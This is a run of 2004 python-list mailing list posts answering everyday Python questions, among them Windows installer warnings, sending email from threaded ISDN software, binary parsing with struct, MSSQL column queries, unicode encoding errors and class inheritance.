if sys.platform[:3] == "win":
    #import windows modules
else:
    #import unix modules

The installer is probably working fine.

Anthony, Toronto

> I have inherited a python application, I work on UNIX and then have to
> use Installed to produce a Windows version. All is OK with this except
> when executing and the following error messages are displayed.
> 
> Can anyone advise how I can correct them or even just hide them.
> 
> D:\CCPS\Release-2.1-20040203\Client\Build\Windows\bin>ccps2_install.exe
> 
> D:\CCPS\Release-2.1-20040203\Client\Build\Windows\buildccps2_install\out1.pyz/fcntl:7:
> DeprecationWarning: the FCNTL module is deprecated; please use fcntl
> D:\CCPS\Release-2.1-20040203\Client\Build\Windows\buildccps2_install\out1.pyz/termios:7:
> DeprecationWarning: the TERMIOS module is deprecated; please use
> termios
> c:\python-2.3.2\Installer\iu.py:103: DeprecationWarning: the regex
> module is deprecated; please use the re module
>   mod = imp.load_module(nm, None, nm, ('','',imp.C_BUILTIN))
> 
> CCPS INSTALL STARTING...
> 
> The CCPS_DATA_PATH is not defined !!!
> 
> 
> Regards,
> Andy Wilson
> andywil at nortelnetworks.com


From gernot at hillier.de  Sat Feb 21 07:21:32 2004
From: gernot at hillier.de (Gernot Hillier)
Date: Sat, 21 Feb 2004 13:21:32 +0100
Subject: HowTo send emails reliably in a Python multi-threading application?
Message-ID: <200402211321.34672.gernot@hillier.de>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi!

I'm the developer of a Linux ISDN application which uses embedded Python for 
controlling the communication. It starts several threads (i.e. one for each 
incoming call and for outgoing faxes) which run Python scripts in embedded 
Python interpreters which in turn do the real communication stuff. Any 
incoming data or confirmations of done jobs are sent via Email.

Most real hard problems I had in the last year were either related to sending 
emails or calling external tools via Pipes. I'll now try to roughly describe 
the structure of CapiSuite and the problems I experienced. I'll try to do it 
as shortly but understandably as possible. As all of it experiences 
"sometimes" I can't provide small, clear test cases, sorry...   :-((

All of the stuff coming now boils down to two questions:

1) How can one send mails reliable in a multi-threaded Python application?  
Should the email package be used? Should smtplib be used or is it better to 
call "sendmail" or "mail" directly? Should popen2 or os.system() be 
preferred?

2) How to call an external tool (or many of them) and connect them via pipes 
with each other and with the Python script in a multithreaded application? I 
read the discussion http://www.python.org/doc/current/lib/
popen2-flow-control.html several times now and think I followed the 
suggestions given there, but it seems still to cause trouble for me.

For those of you having some seconds, here's the rough description of my 
problems...

I'm using normal linuxthreads on Linux 2.4.

Currently I have two mail send functions in use:

a) sendMIMEMail which first of all does some format conversion using external 
commandline tools using popen2 and then constructs a mail using 
email.MIMEText, email.MIMEBase or email.MIMEAudio. This mail is sent via the 
"sendmail" commandline tool like this:

sendmail = popen2.Popen3("sendmail -t -f %s" % escape(mail_from))
if (sendmail.poll()!=-1):
	...
sendmail.tochild.write(msg.as_string())
sendmail.tochild.close()
sendmail.fromchild.close()
ret=sendmail.wait()

b) sendSimpleMail which creates a simple mail using email.MIMEText and then 
does the same as sendMIMEMail for sending it.

The problems I had so far:

- - when sendSimpleMail and sendMIMEMail are run nearly in parallel, then the 
system sometimes gets stuck with one thread which is showed in "ps ax" but 
does not exist according to gdb. It seems to be a try of one Python script to 
run "sendmail" - but it gets stuck either before the new process was really 
replaced by the started sendmail or after sendmail finished but before the 
thread is destroyed. This can be worked around according to one user by not 
using the mail package but sending the mail via
os.system("echo -e "+escape(text)+" | mail -s "+escape(mail_subject)+ " -r 
"+escape(mail_from)+" "+escape(mail_to)) in sendSimpleMail

- - sometimes users (mainly Red Hat users) got the error message "cannot 
unmarshal code objects in restricted execution mode" when the mail text was 
encoded to ASCII. This one was reliably worked around by calling "import 
encodings.ascii" at the begin of send*Mail.
(see http://lists.berlios.de/pipermail/capisuite-users/2003-July/000169.html 
and http://lists.berlios.de/pipermail/capisuite-users/2003-July/000175.html 
for details)

- - when a long document was converted by calling several commandline tools 
(format1->format2->format3 via 2 tools), then popen2-pipes between process 1 
and 2 were overflowed. This was worked around by using shell pipes between 
process1 + 2 (popen2.Popen3("command1 | command2"))

- - very, very seldom (1 out of 5000 received faxes), one user of me saw the 
following - at least with Python 2.2.2; I have no feedback about newer 
versions yet:
File "/usr/lib/python2.2/site-packages/cs_helpers.py", line 233, in 
sendMIMEMail
  sendmail.tochild.write(msg.as_string())
File "/var/tmp/python-2.2.2-build//usr/lib/python2.2/email/Message.py", line 
107, in as_string
File "/var/tmp/python-2.2.2-build//usr/lib/python2.2/email/Generator.py", line 
100, in flatten
File "/var/tmp/python-2.2.2-build//usr/lib/python2.2/email/Generator.py", line 
135, in _write
File "/var/tmp/python-2.2.2-build//usr/lib/python2.2/email/Generator.py", line 
167, in _write_headers
File "/var/tmp/python-2.2.2-build//usr/lib/python2.2/email/Generator.py", line 
191, in _split_header
File "/var/tmp/python-2.2.2-build//usr/lib/python2.2/email/Generator.py", line 
41, in _is8bitstring
File "/var/tmp/python-2.2.2-build//usr/lib/python2.2/encodings/__init__.py", 
line 43, in search_function
AttributeError: 'NoneType' object has no attribute 'get'



So to summarize it: my current approach to do the format conversions and the 
mail sending seems to be quite unstable, but I have no idea how to do it 
better. But I'm quite sure there must be a reliable way to do these kinds of 
things in Python. :-)) Perhaps there's also a general problem with my Python 
embedding stuff - but as everything else works very nice, I doubt this is the 
case...

I'll again have to excuse for the rough problem descriptions I can give yet 
(and the complete miss of small test cases but it's really hard to debug...), 
but I hope some of you could comment on my issues nevertheless. Any hint is 
greatly appreciated!!!

TIA!!!

- -- 
Bye,

Gernot
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Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQFAN01Ok997/GGeSeIRAiALAJ9lGCv2RnbZpgklXx/mPYjpd5M+DACdHJsE
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=tnPN
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From chrish at cryptocard.com  Thu Feb 19 11:31:29 2004
From: chrish at cryptocard.com (Chris Herborth)
Date: Thu, 19 Feb 2004 11:31:29 -0500
Subject: How can I waste time ?
In-Reply-To: <282f826a.0402181935.2757359f@posting.google.com>
References: <282f826a.0402181935.2757359f@posting.google.com>
Message-ID: <Bs5Zb.7416$Cd6.662393@news20.bellglobal.com>

Richard Shea wrote:

> I'm sure this is a very simple question but I can't find an answer in
> the archives.

Try the Python Library Reference? :-)

> I want my script to pause for a pre-determined number of seconds. How
> do you do that ? I've found 'pause()' although it sounds awfully deep
> for what I want and what's more it doesn't work on W32 (I'm developing
> on W32 but will run on *nix).

import time
...
time.sleep( number_of_seconds )

-- 
Chris Herborth                                     chrish at cryptocard.com
Documentation Overlord, CRYPTOCard Corp.      http://www.cryptocard.com/
Never send a monster to do the work of an evil scientist.


From patio87 at aol.com  Thu Feb 12 17:09:11 2004
From: patio87 at aol.com (Patio87)
Date: 12 Feb 2004 22:09:11 GMT
Subject: python vs. perl
Message-ID: <20040212170911.22719.00001914@mb-m18.aol.com>

    Hi I was wondering which was better for doing stuff like, GUI programs, and
gaming, and maybe even network stuff for games? I know python and am learning
c++, but because of ease of use I want to know which is better, because I might
want to drop python and go to perl. Unless Im swayed to stay with
python......AM I missing out on anything by not knowing perl?


From claird at lairds.com  Sat Feb 28 07:25:46 2004
From: claird at lairds.com (Cameron Laird)
Date: Sat, 28 Feb 2004 12:25:46 -0000
Subject: Python as replacement for PHP?
References: <403fa54b@news.zianet.com> <10404jc6dinura8@corp.supernews.com>
	<2004022801225916807%bob@redivicom>
Message-ID: <104126adupk6oeb@corp.supernews.com>

In article <2004022801225916807%bob at redivicom>,
Bob Ippolito  <bob at redivi.com> wrote:
>On 2004-02-27 23:00:44 -0500, claird at lairds.com (Cameron Laird) said:
			.
		[arguments against
		positions *I* certainly
		don't take]
			.
			.
>All that said, PHP is a good language for a beginner.  Lots of books 
>are available that approach the subject from just about any angle, it 
>is trivial to setup (you don't have to, you find some $5/mo provider to 
>do it for you, or you buy OS X,), and is so underfeatured that you 
>couldn't possibly be frightened by its syntax if it is one of the first 
>few languages you've seen.  That doesn't mean it's a good language to 
			.
			.
			.
"OS X"?  Panther, or Mac OS X 10.3, does build in an Apache--but
as near as I can tell, it's *not* one which includes PHP.  PHP
has to be installed explicitly.  Am I missing something?

I'm not ratifying the characterization of PHP as "underfeatured".
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From lbates at swamisoft.com  Tue Feb 24 12:03:35 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Tue, 24 Feb 2004 11:03:35 -0600
Subject: problem with struct module
References: <mailman.36.1077635852.8594.python-list@python.org>
Message-ID: <RLudnZzcc956Hqbd4p2dnA@comcast.com>

Angelo,

Two things:

1) To open a file for reading binary,
I think you meant to write:

f=open("data","rb")

2) You don't need struct to decode a 10 character
string followed by a 1960 character string (10s1960s).
If they are really strings, just read them normally.
If they are binary data, then you should decode them
using struct, but you wouldn't use 10s1960s as format
you would use binary constructs in the format.

Perhaps more detail on what you "think" the structure
of the 1970 byte "records" is would help us help you.

-Larry


"Angelo Secchi" <secchi at sssup.it> wrote in message
news:mailman.36.1077635852.8594.python-list at python.org...
>
> I'm trying to use the unpack method in the struct module to parse a
> binary file without success. I have a binary file with records that
> include many fields for a total length of 1970. Few days ago I was
> suggested by the list to use the struct module to parse it using the
> following code in the hypothesis that for each records I have just two
> fields:
>
> import struct
> fmt='10s1960s'
> size=struct.calcsize(fmt)
> f=file("data")
> s=f.read(size)
>
> while s:
>     print 'read:', s
>     d1,d2=struct.unpack(fmt,s)
>     print 'unpack', d1
>
> Probably I was not even able to explain my problem since it seem that
> this code is not able to read the file. Can anybody help me, maybe
> asking for other infos they need? Also just suggest me a place where I
> can find examples of using struc.unpack would be very helpful.
> Thanks.
> a.
>
>
>
>
> --
> ========================================================
>  Angelo Secchi                     PGP Key ID:EA280337
> ========================================================
>   Current Position:
>   Graduate Fellow Scuola Superiore S.Anna
>   Piazza Martiri della Liberta' 33, Pisa, 56127 Italy
>   ph.: +39 050 883365
>   email: secchi at sssup.it www.sssup.it/~secchi/
> ========================================================
>




From __peter__ at web.de  Thu Feb 12 04:55:35 2004
From: __peter__ at web.de (Peter Otten)
Date: Thu, 12 Feb 2004 10:55:35 +0100
Subject: write a recognizer
References: <3e96ebd7.0402120105.14ee6f6d@posting.google.com>
Message-ID: <c0fiio$nt9$02$1@news.t-online.com>

Klaus Neuner wrote:

> Hello,
> 
> I want to write a class Recognizer, like so:
> 
> class Recognizer(object):
> 
>     def is_of_category_1(self, token):
>         if token == 1:
>             return "1"
>         else:
>             return False
> 
>     def is_of_category_2(self, token):
>         if token == 2:
>             return "2"
>         else:
>             return False
> 
>     def recognize(self, token):
>         for fun in <?>:
>             result = apply(fun, token)
>             if result:
>                 return result
>         return False
> 
> What do I have to write instead of <?>?
> Or: How should I design the recognizer, if the above design is not good?
> 
> Klaus

The following assumes that all category checker method names start with a
common prefix. Those are automatically extracted in the __init__() method.
If you are interested in this technique, I stole it from cmd.py in the
library. IIRC, the implementation is more complete as it also inspects the
base classes.

class Recognizer(object):
    def __init__(self):
        r = self.recognizers = []
        for n in dir(self.__class__):
            if n.startswith("is_"):
                r.append(getattr(self, n))

    def is_of_category_1(self, token):
        if token == 1:
            return "1"

    def is_of_category_2(self, token):
        if token == 2:
            return "2"

    def recognize(self, token):
        # would also work:
        #for fun in [self.is_of_category_1, self.is_of_category_2]:

        for fun in self.recognizers:
            result = fun(token)
            if result:
                return result
        return False

if __name__ == "__main__":
    r = Recognizer()
    for t in "12341":
        print r.recognize(int(t)),
    print

Peter


From mepython at yahoo.com  Fri Feb  6 12:26:18 2004
From: mepython at yahoo.com (Samir Patel)
Date: Fri, 6 Feb 2004 09:26:18 -0800 (PST)
Subject: How to implement something like  javas' webstart in python?
Message-ID: <20040206172618.61574.qmail@web41503.mail.yahoo.com>

To increase pythons' popularity, we need a tool like
webstart which will install (and update when needed)
python program through web. This will make IT and
managers happy since they don't have to install or
update programs. 
Can Javas' webstart be used to distribute pythons'
application? Can somebody points out basic code to do
this task? 

In the beginning we need something simple which will
work in intranet and hence I don't think we need to
worry about security issue. Since pythons' modules are
small, it will be best way to distribute applicaiton
without worrying about installation. Can py2exe,
freeze, installer be modified to do something like
this?



__________________________________
Do you Yahoo!?
Yahoo! Finance: Get your refund fast by filing online.
http://taxes.yahoo.com/filing.html



From jjl at pobox.com  Fri Feb  6 20:01:02 2004
From: jjl at pobox.com (John J. Lee)
Date: 07 Feb 2004 01:01:02 +0000
Subject: building C modules in windows + Python 2.3 + cygwin
References: <402279C9.90BC8B8C@unipi.gr>
	<slrnc259co.7a2.imbaczek@imbaczek.ogrody.nsm.pl>
Message-ID: <87y8rfhfe9.fsf@pobox.com>

Marek 'Baczek' Baczy?ski  <imbaczek at poczta.no.onet.spam.pl> writes:

> On 2004-02-05, Andreou Giannis <gandreou at unipi.gr> wrote:
> > Allthough it is possible to build modules in Python2.3.3 and distutils
> > with cygwin,
> > by running:
> >     setup.py build --compiler=cygwin
> > (after i created the libpython23.a)
> > running:
> >     setup.py install
> > afterwards, complains about not building with msvs v.6,
> > since my Python distribution is built with it.
> 
> python setup.py install --skip-build
> 
> Note that --skip-build should work in other places where it currently
> doesn't/is ignored (bdist comes to mind, any workarounds for it except
> bdist_wininst, which oddly works?)
[...]

Thomas Heller pointed out here some time back how to reorder the
arguments to work around this.

I'm too tired to remember how exactly...


John


From kbk at shore.net  Mon Feb  2 22:57:08 2004
From: kbk at shore.net (Kurt B. Kaiser)
Date: Tue, 03 Feb 2004 03:57:08 GMT
Subject: threaded code in IDLE
References: <bvme60$4b5$1@info4.fnal.gov>
Message-ID: <87smhsu86k.fsf@hydra.localdomain>

Matt Leslie <matthewleslie at hotmail.com> writes:

> This code:
>
> **************
> import thread
>
> def doprint(i):
>      print i
>
> for i in range(0,100):
>      thread.start_new_thread(doprint,(i,))
> *************
>
> Will run fine from the windows command line, but consistently
> crashes IDLE on windows (it locks up with no error message)
>
> Is this a known bug?

Which IDLE? Which Python? Which Windows?

Works for me on Windows2000, Python 2.3.2, Idle 1.0


If I run a thousand threads IDLE uses over 64MB unless I add a little
delay in between spawning threads.  Using the Python interpreter, not
IDLE, I can add a time.sleep(.0000015) and get away with 10,000
threads piling up with output to print.  IDLE needs more time, try .01
sec and watch your Task Monitor.  (Though 100 threads isn't much of 
a load....)

-- 
KBK


From beliavsky at aol.com  Wed Feb 18 16:33:01 2004
From: beliavsky at aol.com (beliavsky at aol.com)
Date: 18 Feb 2004 13:33:01 -0800
Subject: windows file names in Python
Message-ID: <3064b51d.0402181333.12d57963@posting.google.com>

I know to use "\\" as the separator in Windows file names to get them
recognized in Python. Is there a way to get "\" recognized as a
directory separator?


From max at alcyone.com  Sun Feb 29 18:40:40 2004
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 29 Feb 2004 15:40:40 -0800
Subject: IDLE on Windows; save files as UNIX?
References: <lvo0c.15119$aT1.1581@newsread1.news.pas.earthlink.net>
Message-ID: <40427878.8F6FB05E@alcyone.com>

Jay O'Connor wrote:

> Is there any way to for IDLE in Windows to save files in UNIX format?

Probably not, so use or write a script to convert the line endings
before you transfer it.  If you're transferring via FTP, you can use
ASCII mode rather than BINARY and it will automatically convert the line
endings for you.

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && &tSftDotIotE
\__/ Everybody's playing the game / But nobody's rules are the same
    -- Florence, _Chess_


From paul at prescod.net  Wed Feb 18 06:26:00 2004
From: paul at prescod.net (Paul Prescod)
Date: Wed, 18 Feb 2004 03:26:00 -0800
Subject: YAML config file parser
In-Reply-To: <TPGdndWfJJoLfLHdRVn-jw@speakeasy.net>
References: <c0gk4t$111$1@swifty.westend.com>	<bOWdnbCO5OnWebbdRVn-ug@speakeasy.net>	<c0idqv$laj$1@swifty.westend.com>
	<TPGdndWfJJoLfLHdRVn-jw@speakeasy.net>
Message-ID: <40334BC8.6030405@prescod.net>

A.M. Kuchling wrote:
>...
> 
> Non-programmers don't edit configuration files, though; they use a GUI that
> presents a nice interface, and never see whatever format the settings are
> stored in. 

It is precisely to enable the construction of these interfaces (and 
other introspective tools) that it is better that these configuration 
files not be Turing complete. What does the interface do when the 
setting of a particular property depends on some complicated code? What 
does it show the user about what the property means. Compare the 
difficulty of building an app that reads and displays INI files to one 
that introspects Python code!

  Paul Prescod




From tim.golden at viacom-outdoor.co.uk  Mon Feb  9 10:56:53 2004
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: Mon, 9 Feb 2004 15:56:53 -0000 
Subject: MSSQL Column Names
Message-ID: <F1921F85572CB04D9F55B14BDC76B3E44346EF@tdi_nt9.internal.viacom-outdoor.co.uk>

>From: Lindstrom Greg - glinds [mailto:Greg.Lindstrom at acxiom.com]
>
>1.  Is there a way to search the archives?  I can pull the 
>archives up, but
>can't find a way to search for the answer to my next question.

http://groups.google.com/groups?q=comp.lang.python

>
>2.  Using MSSQL-0.06, Python 2.3 and Windows, how can I pull the column
>names for a given table.

You have a few options. I usually do this (SQL):

<sql>

SELECT 
  COLUMN_NAME 
FROM 
  INFORMATION_SCHEMA.COLUMNS 
WHERE 
  TABLE_NAME = 'ui_menu_items' 
ORDER BY 
  ORDINAL_POSITION  

</sql>

which, in python would be something like this:

<python>

import MSSQL

db = MSSQL.connect ("VODEV1", "", "", "EVODEV")
q = db.cursor ()
q.execute ("SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME = 'ui_menu_items' ORDER BY ORDINAL_POSITION")
for row in q.fetchall ():
  print row[0]

</python>

TJG

________________________________________________________________________
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From martin at v.loewis.de  Wed Feb 11 13:55:40 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 11 Feb 2004 19:55:40 +0100
Subject: c extension works in Linux but not Windows==>?? ImportError:
 dynamic module does not define init function (initpeak_load)
In-Reply-To: <bf23f78f.0402111018.32b8dd6d@posting.google.com>
References: <bf23f78f.0402111018.32b8dd6d@posting.google.com>
Message-ID: <c0dtr8$d4h$06$1@news.t-online.com>

Christian Seberino wrote:

> What is wrong with my DLL making skills that causes this problem??

You did not export the symbol. The easiest way to achieve this is to
use PyMODINIT_FUNC.

To improve your DLL making skills, learn about exported symbols,
import libraries, GetProcAddress, __declspec, and .def files.

Regards,
Martin



From alan.gauld at btinternet.com  Mon Feb 23 17:42:12 2004
From: alan.gauld at btinternet.com (Alan Gauld)
Date: Mon, 23 Feb 2004 22:42:12 +0000
Subject: Gripe: Use Ctrl-D (i.e. EOF) to exit
References: <mailman.0.1077567184.8594.python-list@python.org>
Message-ID: <e90l30ponvmra9vm4b3g8lgskgdjgrqbug@4ax.com>

On Mon, 23 Feb 2004 15:12:59 -0500, "Mike Maxwell"
<maxwell at ldc.upenn.edu> wrote:

> The additional reason is that God intended Ctrl-D to be "scroll down", as in
> vi.  

Sorry God had decided that Ctrl-D was EOF long before vi was even
a bit pattern in Bill Joy's eye.

And of course if you are on the spawn of Satan, EOF is CTRL-Z and
thats how you exit Python...

> use to drop out.  But if you're using the command-line version (e.g. the one
> in CygWin) from a shell prompt, then you're out of luck.

raise SystemExit

A wee bit longwinded I'll grant you, but it does the trick...

Alan G.
Author of the Learn to Program website
http://www.freenetpages.co.uk/hp/alan.gauld


From jeremy at alum.mit.edu  Wed Feb 18 15:13:45 2004
From: jeremy at alum.mit.edu (Jeremy Hylton)
Date: Wed, 18 Feb 2004 15:13:45 -0500
Subject: mailing list problems?
In-Reply-To: <20040218155705.GA6709@nl.linux.org>
References: <20040214221839.GA22649@nl.linux.org> <c0o5ht$uvk$1@sea.gmane.org>
	<DE3D72AE-5FF6-11D8-BE5B-000A959CB2EC@netmail.to>
	<200402162153.37084.tim.jarman@lineone.net>
	<20040217093626.GA3162@nl.linux.org> <403360C2.30207@prescod.net>
	<20040218155705.GA6709@nl.linux.org>
Message-ID: <1077135224.5317.68.camel@localhost.localdomain>

On Wed, 2004-02-18 at 10:57, Gerrit wrote:
> Paul Prescod wrote:
> > I think that there are still problems. I don't believe I ever saw this post:
> > 
> > http://mail.python.org/pipermail/python-list/2004-February/207714.html
> > 
> > Gerrit, do you see the same problem?
> 
> I haven't seem this message, either.
> But I do see a lot of messages coming through now, so it's puzzling.

The mail-news gateway was down for a few days.  During that time,
messages weren't flowing between mail and news.  Now that it's
restarted, there is a very large backlog of news messages to deliver to
the lists.  The messages appear to be getting delivered in the order
they were sent (which suggests this message won't arrive until after the
problem is cleared up).  We're about four hours behind real-time right
now, so things are looking pretty good.

Jeremy





From joe at notcharles.ca  Thu Feb 19 06:03:56 2004
From: joe at notcharles.ca (Joe Mason)
Date: Thu, 19 Feb 2004 11:03:56 GMT
Subject: inheritance problem
References: <mailman.44.1077159655.27104.python-list@python.org>
Message-ID: <slrnc394ep.3q4.joe@gate.notcharles.ca>

In article <mailman.44.1077159655.27104.python-list at python.org>, Den Ivanov wrote:
> Example:
> ------------
> class c1:
>   def method1(self):
>     print 'class c1, method1'
>   def method2(self):
>     print 'class c1, method2'
>     self.method1()
> 
> class c2(c1):
>   def method1(self):
>     print 'class c2, method1'
>     c1.method2(self)
>   def method2(self):
>     print 'class c2, method2'
> 
> c = c2()
> c.method1()
> ------------
> i expect :
> class c2, method1
> class c1, method2
> class c1, method1

C++ and C# are the only languages I know of that are broken this way.

(Because it means their classes are not truly OO by default, that's why.
It causes confusion just like this.  I see the benefits of being able to
skip the virtual table lookup for speed, but that should be the
exception that needs to be turned on with a keyword, not the standard
behaviour.)

> but i get this:
> class c2, method1
> class c1, method2
> class c2, method1
> class c1, method2
> ...
> RuntimeError: maximum recursion depth exceeded
> 
> How fix this?

class c1:
  def base_method1(self):
    print 'class c1, method1'
  def method1(self):
    self.base_method1()
  def method2(self):
    print 'class c1, method2'
    self.base_method1()

Or

class c0:
  def method1(self):
    print 'class c1, method1'

class c1(c0):
  def method2(self):
    print 'class c1, method2'
    c0.method1(self)

Joe


From mcfletch at rogers.com  Thu Feb  5 20:27:50 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Thu, 05 Feb 2004 20:27:50 -0500
Subject: Looking for a DB for object persistance...
In-Reply-To: <LnBUb.47585$nL.463437@weber.videotron.net>
References: <LnBUb.47585$nL.463437@weber.videotron.net>
Message-ID: <4022ED96.7010904@rogers.com>

Francois Meehan wrote:
...

> I am considering Zodb3, but did not find info for simultaneous access 
> capability.

Check out the ZEO (Zope Enterprise Objects) system for ZODB. Not sure if 
it will meet your needs, but it is designed for allowing multiple 
simultaneous users of the DB.

HTH,
Mike

 
_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From michael at foord.net  Sun Feb 22 18:47:52 2004
From: michael at foord.net (Fuzzyman)
Date: 22 Feb 2004 15:47:52 -0800
Subject: Problems With Accented Characters
Message-ID: <8089854e.0402221547.2f6cf5f7@posting.google.com>

I've written an anagram finder that produces anagrams from a
dictionary of words. The user can load their own dictionary.

( http://www.voidspace.org.uk/atlantibots/nanagram.html )

In order to ensure it is able to  find anagrams properly I wanted to
strip characters like punctuation etc from words in the dictionary and
words the user entered. I test(ed) against the 26 English letters (
string.ascii_lowercase ).

I now have someone who wants to use a French dictionary - with words
containing accented characters !! I have two choices - either map the
accented characters to their unaccented equivalent (slightly
innacurate) or treat the accented charcters as a separate letter (very
few anagrams). However - at the moment I can't experiment with either
because my default codec is the 7-bit ascii and crashes (sometimes !!)
when using the accented characters.

Has anyone any advice - or can point me to any resources - for
effectively handling these characters. I guess it's a latin-1 encoding
I want to use... I can't even work out how to cahnge the default
codec........

Thanks,

Fuzzy

http://www.voidspace.org.uk/atlantibots/pythonutils.html


From __peter__ at web.de  Mon Feb  9 17:45:55 2004
From: __peter__ at web.de (Peter Otten)
Date: Mon, 09 Feb 2004 23:45:55 +0100
Subject: unicode codecs
References: <c08sbk$c4u$1@bagan.srce.hr>
Message-ID: <c092j3$mbj$00$1@news.t-online.com>

Ivan Voras wrote:

> When concatenating strings (actually, a constant and a string...) i get
> the following error:
> 
> UnicodeDecodeError: 'ascii' codec can't decode byte 0xfc in position 1:
> ordinal not in range(128)
> 
> Now I don't think either string is unicode, but I'm working with
> win32api so it might be... :) The point is: I know all values will fit
> in a particular code page (iso-8859-2), so how do I change the 'ascii'
> codec in the above error into something that will work?

You can either convert all strings to unicode or to iso-8859-2.
A hands on approach:

>>> u,s
(u'R\xfcbe', 'R\xfcbe')
>>> u+s
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
UnicodeDecodeError: 'ascii' codec can't decode byte 0xfc in position 1:
ordinal not in range(128)

This error is prevented by an explicit conversion:

>>> u.encode("iso-8859-1") + s
'R\xfcbeR\xfcbe'

or 

>>> u + s.decode("iso-8859-1")
u'R\xfcbeR\xfcbe'

If you aren't sure which string is unicode and which is not:

>>> def toiso(s):
...     if isinstance(s, unicode):
...             return u.encode("iso-8859-1")
...     return s
...
>>> toiso(u) + toiso(s)
'R\xfcbeR\xfcbe'

Peter




From stuart at stuartbishop.net  Thu Feb 12 22:52:40 2004
From: stuart at stuartbishop.net (Stuart Bishop)
Date: Fri, 13 Feb 2004 14:52:40 +1100
Subject: package similar to XML::Simple
In-Reply-To: <402BA7B2.30D2B4D7@engcorp.com>
References: <mailman.1428.1076438817.12720.python-list@python.org>
	<402931E4.C1E50E92@engcorp.com> <c0beqb$2uv$00$1@news.t-online.com>
	<40294322.7AF2C6D7@engcorp.com> <c0bh63$jp2$05$1@news.t-online.com>
	<40294D36.B0AEE3C4@engcorp.com> <c0do15$tge$02$1@news.t-online.com>
	<402A69C2.FC8DABA@engcorp.com>
	<mailman.6.1076585559.698.python-list@python.org>
	<402BA7B2.30D2B4D7@engcorp.com>
Message-ID: <120FC1DC-5DD8-11D8-B8F4-000A95A06FC6@stuartbishop.net>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


On 13/02/2004, at 3:20 AM, Peter Hansen wrote:

> Do you mean it doesn't handle addition things that are part of
> the core XML standard?  Or are we still talking about *just* the
> lack of Unicode?  I thought what I read on their web site made
> it clear that it *does* support Unicode, but it was simply
> not enabled in the current compilation.  If that's true, then
> clearly it *is* an XML parser *by design*.

The RXP library can be compiled in 8bit or 16bit mode.
The 0.9 release of pyRXP built the RXP library in 8 bit mode,
and the Python glue was 8 bit only. Building RXP in 16bit mode
with the 8bit-only glue, unsurprisingly, caused everything to
fail miserably.

The patch I submitted (integrated sometime around 0.96 I think
- - no official release) involved updating the glue so that Python
could happily get Unicode objects from RXP's 16bit representation
(RXP works internally in UTF16), and a disgusting hack to setup.py
so that it would build both the 8bit and Unicode versions of the
library and wrapper from the same source.

- --  
Stuart Bishop <stuart at stuartbishop.net>
http://www.stuartbishop.net/
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=RwjK
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From newsgroups at jhrothjr.com  Sun Feb  1 14:56:33 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Sun, 1 Feb 2004 14:56:33 -0500
Subject: advice on programming style: is multiple inheritance bad?
References: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>
Message-ID: <101qmjm1cfo5183@news.supernews.com>


"Uwe Mayer" <merkosh at hadiko.de> wrote in message
news:bvjhkv$ss4$1 at news.rz.uni-karlsruhe.de...
> Hi,
>
> I got a class A2 that needs to inherit from class A1.
> A2, as well as some other classes implement a same functionality and in
> order to prevent code duplication I'd like to factorize that (potentially)
> duplicate code into a class SuperA from which then A2 and all other
classes
> could inherrit.
> However, this would cause A2 to have two super classes A1 and SuperA -
which
> is possible of course in Python.
>
> My question is: is that bad programming style?
> From C++ and Java we "learn" that you shouldn't do that.
>
> Class A is automatically generated from other tools, so I can't solve the
> problem by just letting A1 inherit from SuperA.
>
> Your opinions?

I think it's a case of "it depends." There are places where multiple
inheritance solves a real problem, and places where using it is just
going to confuse the issue.

Languages that try to ban multiple inheritance quickly invent things
like interfaces and mixins, so there are obviously some uses for
the facility.

Some rules of thumb I like:

1. Is it a special case, like Java's interfaces or Ruby's mixins?
If so, you're probably on firm ground.

2. Have you thoroughly considered using composition instead
of inheritance? Inheritance is vastly oversold.

3. Does the same attribute show up on two different
legs you inherit from? That's a red flag: you probably need
to rethink the design.

John Roth


>
> Ciao
> Uwe
> -- 
>




From usenet at mail-2-me.com  Fri Feb  6 09:51:50 2004
From: usenet at mail-2-me.com (Dirk Hagemann)
Date: Fri, 06 Feb 2004 15:51:50 +0100
Subject: Best Beginner's Guide To Python?
In-Reply-To: <3b48d777.0402052148.3cd8e16c@posting.google.com>
References: <3b48d777.0402052148.3cd8e16c@posting.google.com>
Message-ID: <c009m6$pmn$06$1@news.t-online.com>

The Tao of Spike wrote:
> I've recentlty been getting into programming.  I was wondering what
> language to learn first and after asking around I decided on Python. 
> I'm about half way through "Non-Programmers Tutorial For Python" By
> Josh Cogliati (http://www.honors.montana.edu/~jjc/easytut/easytut/)
> and I'm wondering where I should go after this.  Any help is
> appreciated, thanks.
I started to lern programming in python simply by PROGRAMMING IN PYTHON. 
I had some things I wanted to be done by a script and I just started to 
write my script. When I had any difficulties I tried to find the 
solution in books or somewhere in the internet.
May be you should simply start to write more complex scripts or think 
about which special direction you are interested in. Websites? 
Networking (Windows or Linux or..?)? Something else?

Dirk


From heavens7s at hotmail.com  Mon Feb  9 13:57:52 2004
From: heavens7s at hotmail.com (Joe)
Date: 9 Feb 2004 10:57:52 -0800
Subject: file copy shutil
Message-ID: <560d84ab.0402091057.693f84a9@posting.google.com>

I see this on python.org

"Caveat: On MacOS, the resource fork and other metadata are not used.
For file copies, this means that resources will be lost and file type
and creator codes will not be correct."

Is there a way to copy files correctly on BOTH Mac and Windows?  I am
trying to write a utility that will work on both platforms identically
since I am in a mixed environment network.  Thanks.


From paul at prescod.net  Wed Feb 18 17:31:32 2004
From: paul at prescod.net (Paul Prescod)
Date: Wed, 18 Feb 2004 14:31:32 -0800
Subject: Python Productivity Gain?
